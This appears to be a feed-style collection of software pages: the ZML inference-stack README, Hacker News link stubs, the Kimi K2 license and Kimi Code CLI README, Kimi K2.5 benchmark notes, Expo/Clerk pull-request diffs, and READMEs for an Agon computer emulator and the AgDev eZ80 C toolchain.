amd-avx: generates 64-bit AMD64/x86-64 AVX code.
amd-sse: generates 64-bit AMD64/x86-64 SSE code. It requires a minimum SSE2.1 specification, which should be easily fulfilled by all except the most ancient processors (will be deprecated in version 3.0).
arm generates 64-bit ARM64/aarch64 code. This option is mainly tested on Apple Silicon.
riscv generates 64-bit RISC-V code. This option is tested on a computer running XuanTie C910 RISC-V with an RV64GC architecture.
bytecode: this option uses a generic and simple bytecode evaluator as a fallback option in case of unsupported instruction sets. The utility is to test correctness, not speed.
native (default): selects the correct instruction set based on the current processor.
debug: deprecated.

Note that ty='wasm' is no longer supported in version 2. Also, as discussed above, compile_* functions accept a backend argument with possible values of rust and python.

Saving Models

It is possible to save a compiled function using its save(file_name) method. To load such a model, use load_func(file_name):

Note that the list of external functions, if not empty, needs to be passed to load_func.

Code Inspection

You can inspect the generate intermediate form (IR) and machine code. Refer to Inspection for details.

GitHub - zml/zml: Any model. Any hardware. Zero compromise. Built with @ziglang / @openxla / MLIR / @bazelbuild · GitHub

Sat, 06 Jun 2026 05:32:03 +0000

Website | Getting Started | Documentation | Discord | Contributing

About

ZML is a production inference stack, purpose-built to decouple AI workloads from proprietary hardware.

Any model, many hardwares, one codebase, peak performance.

Compiled directly to NVIDIA, AMD, TPU, Trainium for peak hardware performance on any accelerator. No rewriting.

It is built using the Zig language, MLIR, and Bazel.

Getting Started

Prerequisites

We use bazel to build ZML and its dependencies. The only prerequisite is bazel, which we recommend installing through bazelisk.

macOS

brew install bazelisk

Linux

curl -L -o /usr/local/bin/bazel 'https://github.com/bazelbuild/bazelisk/releases/download/v1.28.0/bazelisk-linux-amd64'
chmod +x /usr/local/bin/bazel

30-Second Smoke Test

Run the MNIST example:

bazel run //examples/mnist

This downloads a small pretrained MNIST model, compiles it, loads the weights, and classifies a random handwritten digit.

LLM Quickstart

The main LLM example is //examples/llm. It currently supports:

Llama 3.1 / 3.2
Qwen 3.5
LFM 2.5

Authenticate with Hugging Face if you want to load gated repos such as Meta Llama:

bazel run //tools/hf -- auth login

Alternatively, set the HF_TOKEN environment variable.

Then run a prompt directly:

bazel run //examples/llm -- --model=hf://meta-llama/Llama-3.2-1B-Instruct --prompt="What is the capital of France?"

Open the interactive chat loop by omitting --prompt:

bazel run //examples/llm -- --model=hf://meta-llama/Llama-3.2-1B-Instruct

You can also load from:

a local directory: --model=/var/models/meta-llama/Llama-3.2-1B-Instruct
S3: --model=s3://bucket/path/to/model

Running Models on GPU / TPU

Append one or more platform flags when compiling or running:

NVIDIA CUDA: --@zml//platforms:cuda=true
AMD RoCM: --@zml//platforms:rocm=true
Google TPU: --@zml//platforms:tpu=true
AWS Trainium / Inferentia 2: --@zml//platforms:neuron=true
Disable CPU compilation: --@zml//platforms:cpu=false

Example on CUDA:

bazel run //examples/llm --@zml//platforms:cuda=true -- --model=hf://meta-llama/Llama-3.2-1B-Instruct --prompt="Write a haiku about Zig"

Example on ROCm:

bazel run //examples/llm --@zml//platforms:rocm=true -- --model=hf://meta-llama/Llama-3.2-1B-Instruct --prompt="Write a haiku about Zig"

Run Tests

bazel test //zml:test

Examples

examples/llm: unified LLM CLI for Llama, Qwen, and LFM
examples/mnist: smallest end-to-end model run
examples/sharding: logical mesh, partitioners, shard-local execution, profiler output
examples/io: inspect and load local, hf://, https://, and s3:// repositories through the VFS layer
examples/benchmark: measure loading and execution performance

A Taste Of ZML

const Mnist = struct {
    fc1: Layer,
    fc2: Layer,

    const Layer = struct {
        weight: zml.Tensor,
        bias: zml.Tensor,

        pub fn init(store: zml.io.TensorStore.View) Layer {
            return .{
                .weight = store.createTensor("weight", .{ .d_out, .d }, null),
                .bias = store.createTensor("bias", .{.d_out}, null),
            };
        }

        pub fn forward(self: Layer, input: zml.Tensor) zml.Tensor {
            return self.weight.dot(input, .d).add(self.bias).relu().withTags(.{.d});
        }
    };

    pub fn init(store: zml.io.TensorStore.View) Mnist {
        return .{
            .fc1 = .init(store.withPrefix("fc1")),
            .fc2 = .init(store.withPrefix("fc2")),
        };
    }

    pub fn load(
        self: *const Mnist,
        allocator: std.mem.Allocator,
        io: std.Io,
        platform: *const zml.Platform,
        store: *const zml.io.TensorStore,
        shardings: []const zml.Sharding,
    ) !zml.Bufferized(Mnist) {
        return zml.io.load(Mnist, self, allocator, io, platform, store, .{
            .shardings = shardings,
            .parallelism = 1,
            .dma_chunks = 1,
            .dma_chunk_size = 16 * 1024 * 1024,
        });
    }

    pub fn unloadBuffers(self: *zml.Bufferized(Mnist)) void {
        self.fc1.weight.deinit();
        self.fc1.bias.deinit();
        self.fc2.weight.deinit();
        self.fc2.bias.deinit();
    }

    /// just two linear layers + relu activation
    pub fn forward(self: Mnist, input: zml.Tensor) zml.Tensor {
        var x = input.flatten().convert(.f32).withTags(.{.d});
        const layers: []const Layer = &.{ self.fc1, self.fc2 };
        for (layers) |layer| {
            x = layer.forward(x);
        }
        return x.argMax(0).indices.convert(.u8);
    }
};

For a full walkthrough, see:

Where To Go Next

Run more examples in ./examples
Read the example-specific notes in examples/llm/README.md
Learn tagged dimensions in working_with_tensors.md
Start building a model with write_first_model.md
Explore deployment in deploy_on_server.md

Contributing

See here.

License

ZML is licensed under the Apache 2.0 license.

Thanks To Our Contributors

pg_durable: Microsoft open sources in-database durable execution

Fri, 05 Jun 2026 20:46:39 +0000

Article URL: https://github.com/microsoft/pg_durable

Comments URL: https://news.ycombinator.com/item?id=48414367

Points: 214

# Comments: 48

Show HN: Local-first fast CPU image to text for screenshots, PDFs, webpages

Fri, 05 Jun 2026 15:54:51 +0000

Article URL: https://github.com/kouhxp/textsnap

Comments URL: https://news.ycombinator.com/item?id=48410841

Points: 10

# Comments: 12

Anthropic's open-source framework for AI-powered vulnerability discovery

Fri, 05 Jun 2026 08:46:03 +0000

Article URL: https://github.com/anthropics/defending-code-reference-harness

Comments URL: https://news.ycombinator.com/item?id=48403980

Points: 402

# Comments: 116

Open Code Review – An AI-powered code review CLI tool

Fri, 05 Jun 2026 06:50:16 +0000

Article URL: https://github.com/alibaba/open-code-review

Comments URL: https://news.ycombinator.com/item?id=48406358

Points: 130

# Comments: 29

Warren's Abstract Machine: A Tutorial Reconstruction

Fri, 05 Jun 2026 06:50:02 +0000

Comments

jujutsu v0.42.0 released

Fri, 05 Jun 2026 00:44:43 +0000

Comments

Kimi-K2/LICENSE at main · MoonshotAI/Kimi-K2 · GitHub

Sat, 30 May 2026 03:28:54 +0000

Search code, repositories, users, issues, pull requests...

Clear

Search syntax tips

Appearance settings

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert

MoonshotAI / Kimi-K2 Public

Notifications You must be signed in to change notification settings
Fork 845
Star 10.8k

Expand file tree

LICENSE

Copy path

More file actions

Latest commit

History

27 lines (22 loc) · 1.43 KB

LICENSE

File metadata and controls

27 lines (22 loc) · 1.43 KB

Raw

Copy raw file

Download raw file

Open symbols panel

Edit and raw actions

Modified MIT License

Permission is hereby granted, free of charge, to any person obtaining a copy

of this software and associated documentation files (the “Software”), to deal

in the Software without restriction, including without limitation the rights

to use, copy, modify, merge, publish, distribute, sublicense, and/or sell

copies of the Software, and to permit persons to whom the Software is

furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all

copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR

IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,

FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE

AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER

LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,

OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE

SOFTWARE.

Our only modification part is that, if the Software (or any derivative works

thereof) is used for any of your commercial products or services that have

more than 100 million monthly active users, or more than 20 million US dollars

(or equivalent in other currencies) in monthly revenue, you shall prominently

display "Kimi K2" on the user interface of such product or service.

You can’t perform that action at this time.

GitHub - MoonshotAI/kimi-cli: Kimi Code CLI is your next CLI agent. · GitHub

Sat, 30 May 2026 03:28:54 +0000

Kimi Code CLI

Kimi Code | Documentation | 文档

Important

Kimi Code CLI is evolving into Kimi Code — the next-generation terminal AI agent from the same team. Installing Kimi Code automatically migrates your configuration and sessions. This project will be gradually wound down; the docs and existing installations remain available.

Kimi Code CLI is an AI agent that runs in the terminal, helping you complete software development tasks and terminal operations. It can read and edit code, execute shell commands, search and fetch web pages, and autonomously plan and adjust actions during execution.

Getting Started

See Getting Started for how to install and start using Kimi Code CLI.

Key Features

Shell command mode

Kimi Code CLI is not only a coding agent, but also a shell. You can switch the shell command mode by pressing Ctrl-X. In this mode, you can directly run shell commands without leaving Kimi Code CLI.

Note

Built-in shell commands like cd are not supported yet.

VS Code extension

Kimi Code CLI can be integrated with Visual Studio Code via the Kimi Code VS Code Extension.

IDE integration via ACP

Kimi Code CLI supports Agent Client Protocol out of the box. You can use it together with any ACP-compatible editor or IDE.

To use Kimi Code CLI with ACP clients, make sure to run Kimi Code CLI in the terminal and send /login to complete the login first. Then, you can configure your ACP client to start Kimi Code CLI as an ACP agent server with command kimi acp.

For example, to use Kimi Code CLI with Zed or JetBrains, add the following configuration to your ~/.config/zed/settings.json or ~/.jetbrains/acp.json file:

Then you can create Kimi Code CLI threads in IDE's agent panel.

Zsh integration

You can use Kimi Code CLI together with Zsh, to empower your shell experience with AI agent capabilities.

Install the zsh-kimi-cli plugin via:

git clone https://github.com/MoonshotAI/zsh-kimi-cli.git \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/kimi-cli

Note

If you are using a plugin manager other than Oh My Zsh, you may need to refer to the plugin's README for installation instructions.

Then add kimi-cli to your Zsh plugin list in ~/.zshrc:

plugins=(... kimi-cli)

After restarting Zsh, you can switch to agent mode by pressing Ctrl-X.

MCP support

Kimi Code CLI supports MCP (Model Context Protocol) tools.

kimi mcp sub-command group

You can manage MCP servers with kimi mcp sub-command group. For example:

# Add streamable HTTP server:
kimi mcp add --transport http context7 https://mcp.context7.com/mcp --header "CONTEXT7_API_KEY: ctx7sk-your-key"

# Add streamable HTTP server with OAuth authorization:
kimi mcp add --transport http --auth oauth linear https://mcp.linear.app/mcp

# Add stdio server:
kimi mcp add --transport stdio chrome-devtools -- npx chrome-devtools-mcp@latest

# List added MCP servers:
kimi mcp list

# Remove an MCP server:
kimi mcp remove chrome-devtools

# Authorize an MCP server:
kimi mcp auth linear

Ad-hoc MCP configuration

Kimi Code CLI also supports ad-hoc MCP server configuration via CLI option.

Given an MCP config file in the well-known MCP config format like the following:

Run kimi with --mcp-config-file option to connect to the specified MCP servers:

kimi --mcp-config-file /path/to/mcp.json

See more features in the Documentation.

Development

To develop Kimi Code CLI, run:

git clone https://github.com/MoonshotAI/kimi-cli.git
cd kimi-cli

make prepare  # prepare the development environment

Then you can start working on Kimi Code CLI.

Refer to the following commands after you make changes:

uv run kimi  # run Kimi Code CLI

make format  # format code
make check  # run linting and type checking
make test  # run tests
make test-kimi-cli  # run Kimi Code CLI tests only
make test-kosong  # run kosong tests only
make test-pykaos  # run pykaos tests only
make build-web  # build the web UI and sync it into the package (requires Node.js/npm)
make build  # build python packages
make build-bin  # build standalone binary
make help  # show all make targets

Note: make build and make build-bin automatically run make build-web to embed the web UI.

GitHub - MoonshotAI/Kimi-K2.5: Moonshot's most powerful model · GitHub

Sat, 30 May 2026 03:28:53 +0000

General Testing Details
- We report results for Kimi K2.5 and DeepSeek-V3.2 with thinking mode enabled, Claude Opus 4.5 with extended thinking mode, GPT-5.2 with xhigh reasoning effort, and Gemini 3 Pro with a high thinking level. For vision benchmarks, we additionally report results for Qwen3-VL-235B-A22B-Thinking.
- Unless otherwise specified, all Kimi K2.5 experiments were conducted with temperature = 1.0, top-p = 0.95, and a context length of 256k tokens.
- Benchmarks without publicly available scores were re-evaluated under the same conditions used for Kimi K2.5 and are marked with an asterisk (*).
- We could not evaluate GPT-5.2 xhigh on all benchmarks due to service stability issues. For benchmarks that were not tested, we mark them as "-".
Text and Reasoning
- HLE, AIME 2025, HMMT 2025 (Feb), and GPQA-Diamond were evaluated with a maximum completion budget of 96k tokens.
- Results for AIME and HMMT are averaged over 32 runs (avg@32); GPQA-Diamond over 8 runs (avg@8).
- For HLE, we report scores on the full set (text & image). Kimi K2.5 scores 31.5 (text) and 21.3 (image) without tools, and 51.8 (text) and 39.8 (image) with tools. The DeepSeek-V3.2 score corresponds to its text-only subset (marked with †) . Hugging Face access was blocked to prevent potential data leakage. HLE with tools uses simple context management: once the context exceeds a threshold, only the latest round of tool messages is retained.
Tool-Augmented / Agentic Search
- Kimi K2.5 was equipped with search, code-interpreter, and web-browsing tools for HLE with tools and all agentic search benchmarks.
- Except for BrowseComp (where K2.5 and DeepSeek-V3.2 used the discard-all strategy), no context management was applied, and tasks exceeding the supported context length were directly counted as failed.
- The test system prompts emphasize deep and proactive tool use, instructing models to reason carefully, leverage tools, and verify uncertain information. Full prompts will be provided in the technical report.
- Results for Seal-0 and WideSearch are averaged over four runs (avg@4).
Vision Benchmarks
- Max-tokens = 64k, averaged over three runs (avg@3).
- ZeroBench (w/ tools) uses max-tokens-per-step = 24k and max-steps = 30 for multi-step reasoning.
- MMMU-Pro follows the official protocol, preserving input order and prepending images.
- GPT-5.2-xhigh had ~10% failure rate (no output despite 3 retries), treated as incorrect; reported scores likely underestimate true performance.
- WorldVQA, a benchmark designed to evaluate atomic vision-centric world knowledge. Access WorldVQA at https://github.com/MoonshotAI/WorldVQA.
- OmniDocBench Score is computed as (1 − normalized Levenshtein distance) × 100, where a higher score denotes superior accuracy.
Coding Tasks
- Terminal-Bench 2.0 scores were obtained with the default agent framework (Terminus-2) and the provided JSON parser. In our implementation, we evaluated Terminal-Bench 2.0 under non-thinking mode. This choice was made because our current context management strategy for the thinking mode is incompatible with Terminus-2.
- For the SWE-Bench series of evaluations (including verified, multilingual, and pro), we used an internally developed evaluation framework. This framework includes a minimal set of tools—bash tool, createfile tool, insert tool, view tool, strreplace tool, and submit tool—along with tailored system prompts designed for the tasks. The highest scores were achieved under non-thinking mode.
- The score of Claude Opus 4.5 on CyberGym is reported under the non-thinking setting.
- All reported scores of coding tasks are averaged over 5 independent runs.
Long-Context Benchmarks
- AA-LCR: scores averaged over three runs (avg@3).
- LongBench-V2: identical prompts and input contexts standardized to ~128k tokens.
Agent Swarm
- BrowseComp (Swarm Mode): main agent max 15 steps; sub-agents max 100 steps.
- WideSearch (Swarm Mode): main and sub-agents max 100 steps.

feat: convex auth with clerk by hyochan · Pull Request #2 · hyochan/convex-expo-workshop · GitHub

Sat, 30 May 2026 03:28:38 +0000

10 changes: 10 additions & 0 deletions 10 __mocks__/@clerk/clerk-expo.tsx

Show comments View file Open in desktop

Original file line number	Diff line number	Diff line change
		@@ -0,0 +1,10 @@
		import React from 'react';

		export const ClerkProvider: React.FC<{ children: React.ReactNode }> = ({ children }) => <>{children}</>;
		export const ClerkLoaded: React.FC<{ children: React.ReactNode }> = ({ children }) => <>{children}</>;

		export const useAuth = () => ({
		isSignedIn: true,
		userId: 'mock-user-id',
		getToken: jest.fn().mockResolvedValue('mock-jwt'),
		});

5 changes: 5 additions & 0 deletions 5 __mocks__/convex/react-clerk.tsx

Show comments View file Open in desktop

Original file line number	Diff line number	Diff line change
		@@ -0,0 +1,5 @@
		import React from 'react';

		export const ConvexProviderWithClerk: React.FC<{children: React.ReactNode}> = ({
		children,
		}) => <>{children}</>;

6 changes: 6 additions & 0 deletions 6 __mocks__/convex/react.tsx

Show comments View file Open in desktop

Original file line number	Diff line number	Diff line change
		@@ -0,0 +1,6 @@
		export class ConvexReactClient {
		constructor(
		public url: string,
		public options: {unsavedChangesWarning: boolean},
		) {}
		}

30 changes: 6 additions & 24 deletions 30 app/_layout.tsx

Show comments View file Open in desktop

Original file line number	Diff line number	Diff line change
Expand Up		@@ -7,8 +7,6 @@ import styled, {css} from '@emotion/native';
		import AsyncStorage from '@react-native-async-storage/async-storage';
		import {Icon, useDooboo} from 'dooboo-ui';
		import CustomPressable from 'dooboo-ui/uis/CustomPressable';
		import {ConvexProviderWithClerk} from 'convex/react-clerk';
		import {ConvexReactClient} from 'convex/react';
		import StatusBarBrightness from 'dooboo-ui/uis/StatusbarBrightness';
		import {Stack, useRouter} from 'expo-router';
		import * as SplashScreen from 'expo-splash-screen';
Expand All		@@ -22,9 +20,6 @@ import {
		WEB_URL,
		} from '../src/utils/constants';
		import CustomLoadingIndicator from '../src/uis/CustomLoadingIndicator';
		import {ClerkLoaded, ClerkProvider, useAuth} from '@clerk/clerk-expo';
		import {tokenCache} from '../src/utils/cache';
		import {clerkPublishableKey} from '../config';

		SplashScreen.preventAutoHideAsync();

Expand All		@@ -42,10 +37,6 @@ const Content = styled.View`
		background-color: ${({theme}) => theme.bg.basic};
		`;

		const convex = new ConvexReactClient(process.env.EXPO_PUBLIC_CONVEX_URL!, {
		unsavedChangesWarning: false,
		});

		function Layout(): JSX.Element \| null {
		const {assetLoaded, theme} = useDooboo();
		const {back, replace} = useRouter();
Expand Down Expand Up		@@ -144,21 +135,12 @@ export default function RootLayout(): JSX.Element \| null {
		flex: 1;
		`}
		>
		<ClerkProvider
		tokenCache={tokenCache}
		publishableKey={clerkPublishableKey}
		>
		<ClerkLoaded>
		<ConvexProviderWithClerk client={convex} useAuth={useAuth}>
		<RootProvider initialThemeType={localThemeType as ColorSchemeName}>
		<>
		<StatusBarBrightness />
		<Layout />
		</>
		</RootProvider>
		</ConvexProviderWithClerk>
		</ClerkLoaded>
		</ClerkProvider>
		<RootProvider initialThemeType={localThemeType as ColorSchemeName}>
		<>
		<StatusBarBrightness />
		<Layout />
		</>
		</RootProvider>
		</GestureHandlerRootView>
		);
		}

5 changes: 4 additions & 1 deletion 5 jest.config.ts

Show comments View file Open in desktop

Original file line number	Diff line number	Diff line change
Expand Up		@@ -13,7 +13,7 @@ export default async (): Promise<Config.InitialOptions> => {
		},
		transformIgnorePatterns: [
		// eslint-disable-next-line max-len
		'node_modules/(?!((jest-)?react-native\|@react-native(-community)?)\|expo(nent)?\|@expo(nent)?/.\|@expo-google-fonts/.\|react-navigation\|@react-navigation/.\|@unimodules/.\|unimodules\|sentry-expo\|native-base\|react-native-svg\|dooboo-ui\|@dooboo-ui)',
		'node_modules/(?!((jest-)?react-native\|@react-native(-community)?)\|expo(nent)?\|@expo(nent)?/.\|@expo-google-fonts/.\|react-navigation\|@react-navigation/.\|@unimodules/.\|unimodules\|sentry-expo\|native-base\|react-native-svg\|dooboo-ui\|@dooboo-ui\|react-clerk\|@clerk)',
		],
		modulePaths: ['<rootDir>'],
		moduleDirectories: ['node_modules'],
Expand All		@@ -27,6 +27,9 @@ export default async (): Promise<Config.InitialOptions> => {
		moduleNameMapper: {
		'\\.svg': '<rootDir>/__mocks__/svgMock.js',
		'.+\\.(css\|style\|less\|sass\|scss\|png\|jpg\|ttf\|woff\|woff2)$': 'babel-jest',
		'^@clerk/clerk-expo$': '<rootDir>/__mocks__/@clerk/clerk-expo.ts',
		'^convex/react-clerk$': '<rootDir>/__mocks__/convex/react-clerk.ts',
		'^convex/react$': '<rootDir>/__mocks__/convex/react.ts',
		},
		setupFiles: [
		'<rootDir>/test/testSetup.ts',
Expand Down

41 changes: 28 additions & 13 deletions 41 src/providers/index.tsx

Show comments View file Open in desktop

Original file line number	Diff line number	Diff line change
Expand Up		@@ -6,27 +6,42 @@ import {DoobooProvider} from 'dooboo-ui';

		import {theme} from '../theme';
		import {handleErrorConsole} from '../utils/error';
		import {ConvexReactClient} from 'convex/react';
		import {ConvexProviderWithClerk} from 'convex/react-clerk';
		import {ClerkLoaded, ClerkProvider, useAuth} from '@clerk/clerk-expo';
		import {tokenCache} from '../utils/cache';
		import {clerkPublishableKey} from '../../config';

		interface Props {
		initialThemeType?: ThemeType;
		children?: JSX.Element;
		}

		const convex = new ConvexReactClient(process.env.EXPO_PUBLIC_CONVEX_URL!, {
		unsavedChangesWarning: false,
		});

		function RootProvider({initialThemeType, children}: Props): JSX.Element {
		return (
		<DoobooProvider
		themeConfig={{
		initialThemeType: initialThemeType ?? undefined,
		customTheme: theme,
		}}
		>
		<ErrorBoundary
		FallbackComponent={FallbackComponent}
		onError={handleErrorConsole}
		>
		<ActionSheetProvider>{children}</ActionSheetProvider>
		</ErrorBoundary>
		</DoobooProvider>
		<ClerkProvider tokenCache={tokenCache} publishableKey={clerkPublishableKey}>
		<ClerkLoaded>
		<ConvexProviderWithClerk client={convex} useAuth={useAuth}>
		<DoobooProvider
		themeConfig={{
		initialThemeType: initialThemeType ?? undefined,
		customTheme: theme,
		}}
		>
		<ErrorBoundary
		FallbackComponent={FallbackComponent}
		onError={handleErrorConsole}
		>
		<ActionSheetProvider>{children}</ActionSheetProvider>
		</ErrorBoundary>
		</DoobooProvider>
		</ConvexProviderWithClerk>
		</ClerkLoaded>
		</ClerkProvider>
		);
		}

Expand Down

1 change: 0 additions & 1 deletion 1 test/testSetup.ts

Show comments View file Open in desktop

Original file line number	Diff line number	Diff line change
Expand Up		@@ -12,7 +12,6 @@ const customGlobal: GlobalWithFetchMock = global as GlobalWithFetchMock &

		customGlobal.fetch = require('jest-fetch-mock');
		customGlobal.fetchMock = customGlobal.fetch;

		global.__reanimatedWorkletInit = jest.fn();

		jest.mock('expo-router');
Expand Down

chore: setup boilerplate with clerk by hyochan · Pull Request #1 · hyochan/convex-expo-workshop · GitHub

Sat, 30 May 2026 03:28:37 +0000

chore: setup boilerplate with clerk#1

Merged

hyochan merged 2 commits into

mainhyochan/convex-expo-workshop:mainfrom

chore/boilerplate-with-clerkhyochan/convex-expo-workshop:chore/boilerplate-with-clerkCopy head branch name to clipboard

Oct 1, 2024

Merged

chore: setup boilerplate with clerk#1
hyochan merged 2 commits into
mainhyochan/convex-expo-workshop:mainfrom
chore/boilerplate-with-clerkhyochan/convex-expo-workshop:chore/boilerplate-with-clerkCopy head branch name to clipboard

Conversation

Copy link Copy Markdown

Owner

hyochan commented Oct 1, 2024 •

edited

Loading

Uh oh!

There was an error while loading. Please reload this page.

Description

Setup boilerplate using Clerk. Later will work on authentication using Clerk and Convex

Preview

preview.mp4

Screenshot

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions

chore: setup boilerplate with clerk

ea3b9de

hyochan added the 🏋🏽 chore label Oct 1, 2024

chore: update readme and tests

8d8e0ef

hyochan merged commit 68a0429 into main Oct 1, 2024

hyochan deleted the chore/boilerplate-with-clerk branch October 1, 2024 10:58

Reviewers

No reviews

Assignees

No one assigned

Labels

🏋🏽 chore

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

Uh oh!

There was an error while loading. Please reload this page.

1 participant

Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.

GitHub - hyochan/convex-expo-workshop: Convex workshop with Expo · GitHub

Sat, 30 May 2026 03:28:37 +0000

Search code, repositories, users, issues, pull requests...

Clear

Search syntax tips

Appearance settings

hyochan / convex-expo-workshop Public

Notifications You must be signed in to change notification settings
Fork 0
Star 2

hyochan/convex-expo-workshop

Branches Tags

Open more actions menu

Folders and files

Name		Name	Last commit message	Last commit date
Latest commit History 11 Commits 11 Commits
.dooboo		.dooboo
.github/workflows		.github/workflows
.husky		.husky
.vscode		.vscode
__mocks__		__mocks__
app		app
assets		assets
convex		convex
public/.well-known		public/.well-known
src		src
test		test
.env.sample		.env.sample
.eslintignore		.eslintignore
.eslintrc.js		.eslintrc.js
.firebaserc		.firebaserc
.gitignore		.gitignore
.ncurc.json		.ncurc.json
.prettierrc.js		.prettierrc.js
README.md		README.md
app.config.ts		app.config.ts
babel.config.js		babel.config.js
bun.lockb		bun.lockb
commitlint.config.cjs		commitlint.config.cjs
config.ts		config.ts
custom-syntax-validator.ts		custom-syntax-validator.ts
environment.d.ts		environment.d.ts
jest.config.ts		jest.config.ts
metro.config.js		metro.config.js
package.json		package.json
tsconfig.json		tsconfig.json
yarn.lock		yarn.lock

Repository files navigation

Convex Expo Workshop

Stacks Used

About

Convex workshop with Expo

Resources

Readme

Uh oh!

There was an error while loading. Please reload this page.

Activity

Stars

2 stars

Watchers

0 watching

Forks

0 forks

Report repository

Releases

No releases published

Packages 0

Uh oh!

There was an error while loading. Please reload this page.

Uh oh!

There was an error while loading. Please reload this page.

Contributors

Uh oh!

There was an error while loading. Please reload this page.

Languages

You can’t perform that action at this time.

GitHub - tomm/fab-agon-emulator: Agon Light, Agon Light 2, Agon Console8 Emulator for Linux, Windows, Mac, any system with SDL3 · GitHub

Wed, 27 May 2026 18:54:08 +0000

Fab Agon Emulator

An emulator of the Agon Light, Agon Light 2, and Agon Console8 8-bit computers.

How to compile

You may not need to compile, as there are regular pre-compiled releases for Linux (amd64), Windows (x64) and Mac (Intel & ARM).

Otherwise, read the guide to compiling Fab Agon Emulator

Keyboard Shortcuts

Emulator shortcuts are accessed with the right ctrl.

RightCtrl-C - Toggle caps-lock
RightCtrl-F - Toggle fullscreen mode
RightCtrl-M - Print ESP32 memory stats to the console
RightCtrl-R - Soft-reset
RightCtrl-S - Cycle screen scaling methods (see --scale command line option)
RightCtrl-Q - Quit
RightCtrl-1 - Show VDP video output
RightCtrl-2 - Show GPIO video output if available, or VDP output otherwise

Emulated SDCard

If a directory is specified with fab-agon-emulator --sdcard <dir> then that will be used as the emulated SDCard. Otherwise, the .agon-sdcard/ directory in your home directory will be used if present, and if not then sdcard/ in the current directory is used.

Alternatively you can use SDCard images (full MBR partitioned images, or raw FAT32 images), with the --sdcard-img option.

Changing VDP version

By default, Fab Agon Emulator boots with Console8 firmware. To start up with quark firmware, run:

fab-agon-emulator --firmware quark

Electron firmware:

fab-agon-emulator --firmware electron

Framebuffer Agon firmware:

fab-agon-emulator --firmware fb

The Z80 debugger

Start the emulator with the -d or --debugger option to enable the Z80 debugger:

fab-agon-emulator -d

At the debugger prompt (which will be in the terminal window you invoked the emulator from), type help for instructions on the use of the debugger.

Debug IO space

Some IO addresses unused by the EZ80F92 are used by the emulator for debugging purposes:

These functions are activated by write (not read), and the upper 8-bits of the IO address are ignored. ie:

out (0),a

will shut down the emulator.

Other command-line options

Read about other command-line options with:

fab-agon-emulator --help

Mac-specific issues

The Fab Agon Emulator executables provided on releases are not signed, so in order to run them on your Mac you need to run the following command from the directory containing the fab-agon-emulator executable:

xattr -dr com.apple.quarantine fab-agon-emulator firmware/*.so

GitHub - pcawte/AgDev: Port to Agon Light of TI-84-CE C/C++ Toolchain which uses LLVM and generates eZ80 ADL code · GitHub

Wed, 27 May 2026 18:54:07 +0000

AgDev - a port of the CEdev C/C++ Toolchain to the Agon Platform

Overview

The Agon Light and other Agon Platform revisions are based on the Zilog eZ80 processor. The eZ80 has a 24 bit address space supporting 16 megabytes of memory, compared to the 64 kilobytes of the original Z80. The eZ80 has two modes of operation: the standard Z80 mode, which has 16-bit registers making it easy to address 64k of memory, but requiring the use of "banking" to access more than 64k of memory; and ADL (address data long) mode of operation, which extends the registers to 24 bits, making the whole address space readily accessible.

When we consider high-level programming languages, there are a number available for the Z80, but they are limited to 64k of memory or have awkward bank switching methods to access greater memory.

Considering the C-programming languages, there are a number of Z80 C-compilers available. To date, the Agon community has focused on two:

Zilog ZDS II development environment which can produce eZ80 ADL code. This was the original set of tools used by the developers of Agon, but it is closed source, runs on Windows only, and only supports the data C89 standard
SDCC (small devices C-compiler), a popular choice for 8-bit computers, and adapting this for Agon has been a focus of a number of people in the Agon computer. This is a good compiler for Z80, but it only supports Z80 and not ADL mode.

As an alternative, the CEdev C/C++ toolchain is an open-source compiler that can produce ADL code. It targets the TI-84 Plus CE calculator (based on the eZ80 processor) and has a reasonably sized community. CEdev is based on eZ80 versions of the LLVM compiler and fasmg assembler. It produces ADL code with 24 bit pointers, 24 bit integers, 32 bit longs, 16 bit shorts, and 32 bit floats. There is also quite an extensive library for C and C++ programs (though it is not ISO compliant... yet).

AgDev is the result of an effort to modify CEdev to accommodate the feature set and hardware design of the Agon Platform. The result is a more powerful, and C++ capable, toolchain, compared to other options for the Agon.

Installation

Download a release build or build from source yourself. Place the build in a directory of your choosing.

Afterward, make sure the /bin folder can be found in PATH; if you're on Windows, follow this guide, or you can run cedev.bat and execute commands from there instead. On Linux, run export PATH=/<insert path here>/bin:$PATH in a terminal window.

Building programs

This follows the same approach as the original CE Toolchain (see bottom of the CEdev getting started page). The build process had been modified to stop on the generation of the .bin file. This is the Agon Light executable.

I recommend to use:

make clean
make V=1

The make clean command can be used to delete the results of previous compilations and thereby force a recompilation.

The build process goes through the following steps:

Compilation of .c source files to LLVM bitcode (.bc) using ez80-clang
Linking of LLVM bitcode using ez80-link. This includes link time optimization
Generation of eZ80 assembly code (.src) for the source programs using ez80-clang
Assembling and linking of the of the generated assembly code (from step 3) with the libraries and compiler run-time using fasmg - this includes building the executable targeted at a specific memory location. This is the main part of the build process that needs to be adjusted.

C Calling Conventions (for interfacing with ASM applications)

See Zilog application note "Calling C from asm.pdf".

